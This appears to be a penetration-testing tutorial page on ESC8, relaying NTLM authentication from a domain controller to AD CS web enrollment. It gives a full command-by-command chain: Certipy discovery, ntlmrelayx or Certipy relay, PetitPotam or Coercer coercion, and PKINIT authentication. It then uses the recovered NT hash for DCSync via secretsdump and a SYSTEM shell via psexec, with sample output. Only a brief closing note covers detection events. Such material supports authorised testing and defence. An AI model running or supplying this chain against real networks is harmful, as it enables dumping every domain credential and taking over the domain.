Skip to content
HackIndex logo

HackIndex

ESC8 — NTLM Relay to AD CS Web Enrollment

4 min read May 6, 2026

The AD CS web enrollment interface (/certsrv/) accepts NTLM authentication. When it runs over HTTP without Extended Protection for Authentication (EPA), any NTLM relay attack targeting the endpoint is viable. Relay a DC machine account's authentication there and the CA issues a certificate for that DC. That certificate authenticates as the DC via PKINIT, returning the machine account's NT hash — enough to run DCSync and dump every credential in the domain.

ESC8 does not require any existing access beyond a foothold with a domain user account. It also does not depend on a misconfigured certificate template: the weakness is on the CA endpoint itself.

Checking for ESC8

Certipy's find command reports the web enrollment status directly. Run it with -vulnerable to filter to confirmed issues:

┌──(kali㉿kali)-[~]
└─$ certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP -vulnerable -stdout

ESC8 appears in the output under the CA entry. Also verify manually — if the endpoint responds without prompting for EPA, it is open:

┌──(kali㉿kali)-[~]
└─$ curl -k http://$CA_IP/certsrv/

A login prompt that does not redirect to HTTPS and does not require EPA confirms the relay surface. Certipy labels this ESC8 in the [!] Vulnerabilities section of its CA output.

Attack chain

The attack runs from a Linux attacker machine using Impacket and Certipy. Two terminals are needed for the relay phase: one holds the listener, the other triggers the coercion. PetitPotam and Coercer both work for triggering DC authentication.

Start ntlmrelayx targeting the CA web enrollment endpoint before triggering any coercion:

┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -t http://$CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

The --adcs flag tells ntlmrelayx to use the relayed session to request a certificate rather than attempt a SOCKS proxy or SMB command. --template DomainController selects the built-in template that issues certificates for machine accounts.

With the relay listener running, trigger NTLM authentication from the DC using PetitPotam:

┌──(kali㉿kali)-[~]
└─$ python3 PetitPotam.py -u $USER -p $PASSWORD -d $DOMAIN $LHOST $DC_IP

PetitPotam is a standalone script — clone it from https://github.com/topotam/PetitPotam. Alternatively, use Coercer, which covers PetitPotam's MS-EFSR method alongside several others:

┌──(kali㉿kali)-[~]
└─$ coercer coerce -t $DC_IP -l $LHOST -u $USER -p $PASSWORD -d $DOMAIN

When the DC authenticates, ntlmrelayx captures the session, requests the certificate, and prints a base64-encoded PFX:

[*] SMBD-Thread-4: Connection from CORP/DC01$ CORP.LOCAL
[*] Authenticating against http://10.10.10.10/certsrv/certfnsh.asp as CORP/DC01$
[+] Successfully requested certificate for DC01$
[*] Base64 certificate for DC01$: MIIRbQIBAzCC...

Decode and save the PFX, then use it to authenticate as the DC machine account:

┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx dc.pfx -dc-ip $DC_IP

Certipy performs PKINIT against the DC and returns a TGT (saved as a .ccache file) plus the machine account NT hash:

[+] Got TGT
[*] Saved credential cache to 'dc$.ccache'
[*] NT hash for 'DC01$': a3b4c5d6e7f8...

With the DC machine account hash, run DCSync to extract all domain credentials:

┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -just-dc $DOMAIN/$DC_NAME\$@$DC_IP -hashes :$DC_NTHASH

Certipy relay (all-in-one)

Certipy includes a built-in relay mode that replaces ntlmrelayx for this specific attack. It handles the relay, certificate request, and authentication in one step:

┌──(kali㉿kali)-[~]
└─$ certipy relay -ca $CA_IP -template DomainController

Trigger coercion in a second terminal the same way. Certipy outputs the PFX and NT hash directly without a separate auth step. This is the cleaner path when available.

Using the DC NT hash

The DC machine account NT hash has two immediate uses. DCSync (shown above) is the most complete path — it dumps every account's credentials from the domain. For a faster foothold:

┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/$DC_NAME\$@$DC_IP -hashes :$DC_NTHASH

This gives a SYSTEM shell on the DC directly. From there the domain is fully compromised.

For the full DCSync workflow including handling the output and cracking hashes, see DCSync and Domain Takeover.

Coercion attacks generate authentication events (4624, 4648) on the DC and trigger NTLM relay detection if NetLogon auditing or NTLM event logging is enabled. The certificate request itself logs under event ID 4886 on the CA.

References